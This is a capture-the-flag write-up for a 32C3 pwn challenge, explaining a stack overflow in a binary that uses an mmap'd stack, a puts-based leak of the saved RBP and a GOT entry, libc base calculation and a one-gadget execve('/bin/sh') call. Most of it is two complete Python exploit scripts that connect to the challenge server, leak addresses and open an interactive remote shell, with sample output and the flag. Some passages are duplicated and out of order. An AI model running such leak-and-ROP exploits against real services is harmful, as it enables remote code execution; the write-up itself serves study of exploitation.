The binary allocates memory using mmap as below:
[*] Trigger info leak using puts call, to get address of mmap area by leaking saved RBP
[*] Overwrite saved RBP with address of GOT entry of libc function
[*] Overwrite saved RIP to return again to puts call@0040051F. This will dump both mmap and libc address in one execution
Since the offset between libc and mmap remains fixed, we can calculate this using above info leak. Next to execute code I looked for single gadget call to execve in the provided libc
mmap(NULL, 12288, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7ffff7ff3000And then 4096 bytes is given R+W permission:
mprotect(0x7ffff7ff4000, 4096, PROT_READ|PROT_WRITE) = 0 mprotect(mmap_addres+4096, 4096, PROT_READ|PROT_WRITE) = 0Then stack pointer is set to address as mmap_address+8192. The function at 0x004004E6, allocates a stack as RSP-8 along with saved RIP and RBP. After this there are couple of read calls, first one reading bytes used as count parameter for second read call.
.text:00000000004004EE mov edi, 0 ; fd .text:00000000004004F3 lea rsi, [rbp+buf] ; buf .text:00000000004004F7 mov edx, 8 ; nbytes .text:00000000004004FC call _read .text:0000000000400507 mov edi, 0 ; fd .text:000000000040050C lea rsi, [rbp+buf] ; buf .text:0000000000400510 mov rdx, [rbp+buf] ; nbytes .text:0000000000400514 call _readThis leaves us with option to overwrite saved RIP, but very less amount of data could be written ie. 24 bytes. There is also an info leak due to puts, which prints data till NUL byte
.text:000000000040051F lea rdi, [rbp+buf] ; s .text:0000000000400523 call _putsBelow is the idea for info leak to get mmap and libc address:
[*] Trigger info leak using puts call, to get address of mmap area by leaking saved RBP
[*] Overwrite saved RBP with address of GOT entry of libc function
[*] Overwrite saved RIP to return again to puts call@0040051F. This will dump both mmap and libc address in one execution
Since the offset between libc and mmap remains fixed, we can calculate this using above info leak. Next to execute code I looked for single gadget call to execve in the provided libc
.text:00000000000F6950 loc_F6950: ; CODE XREF: sub_F6260+661 .text:00000000000F6950 lea rdi, aBinSh ; "/bin/sh" .text:00000000000F6957 jmp short loc_F6911 .text:00000000000F6911 loc_F6911: ; CODE XREF: sub_F6260+6F7 .text:00000000000F6911 mov rdx, [rbp+var_F8] .text:00000000000F6918 mov rsi, r8 .text:00000000000F691B call execveAmong the few available gadgets for execve call, the above one doesn't use RSP for memory reference and hence we can safely use in exploit. RBP is controlled due to overflow and r8 is set to 0 due to program state during crash, thus making a call execve("/bin/sh", 0, 0). Below is the exploit:
#!/usr/bin/env python import socket import telnetlib import struct ip = '136.243.194.41' port = 666 # from the provided libc offset_exit = 0x00000000000cafe0 got_exit = 0x00600FD0 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) # get address of mmap soc.send(struct.pack("<Q", 0xff)) # overwrite NUL byte in saved RBP to leak address soc.send('AAAAAAAAA') RBP = soc.recv(64).strip()[-5:] RBP = chr(0) + RBP + chr(0)*2 RBP = struct.unpack("<Q", RBP)[0] print 'Address of mmap : %s' % hex(RBP) # get address of libc payload = struct.pack("<Q", 0xff) payload += struct.pack("<Q", 0x0000414141414141) payload += struct.pack("<Q", got_exit + 8) # leak got entry of _exit payload += struct.pack("<Q", 0x0040051F) # address to puts call soc.send(payload) soc.recv(128) libc_exit = soc.recv(128).strip() + chr(0)*2 libc_exit = struct.unpack("<Q", libc_exit)[0] print 'Address of exit : %s' % hex(libc_exit) libc_base = libc_exit - offset_exit print 'Address of libc base : %s' % hex(libc_base) mmap_to_libc = RBP - libc_base print 'Address offset : %s' % hex(mmap_to_libc)
Address of mmap : 0x7f30435c6000 Address of exit : 0x7f30430a6fe0 Address of libc base : 0x7f3042fdc000 Address offset : 0x5ea000
#!/usr/bin/env python import socket import telnetlib import struct ip = '136.243.194.41' port = 666 offset_libc_base = 0x5ea000 offset_execve = 0x0F6950 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) # get address of mmap soc.send(struct.pack("<Q", 0xff)) # overwrite NUL byte in saved RBP to leak address soc.send('AAAAAAAAA') RBP = soc.recv(64).strip()[-5:] RBP = chr(0) + RBP + chr(0)*2 RBP = struct.unpack("<Q", RBP)[0] print 'Address of mmap : %s' % hex(RBP) libc_base = RBP - offset_libc_base execve = libc_base + offset_execve # get shell payload = struct.pack("<Q", 0xff) payload += struct.pack("<Q", 0x0000414141414141) payload += struct.pack("<Q", 0x00600800) # RBP pointing to NULL payload += struct.pack("<Q", execve) soc.send(payload) soc.recv(16) s = telnetlib.Telnet() s.sock = soc s.interact() # 32C3_mov_pop_ret_repeatFlag for the challenge is 32C3_mov_pop_ret_repeat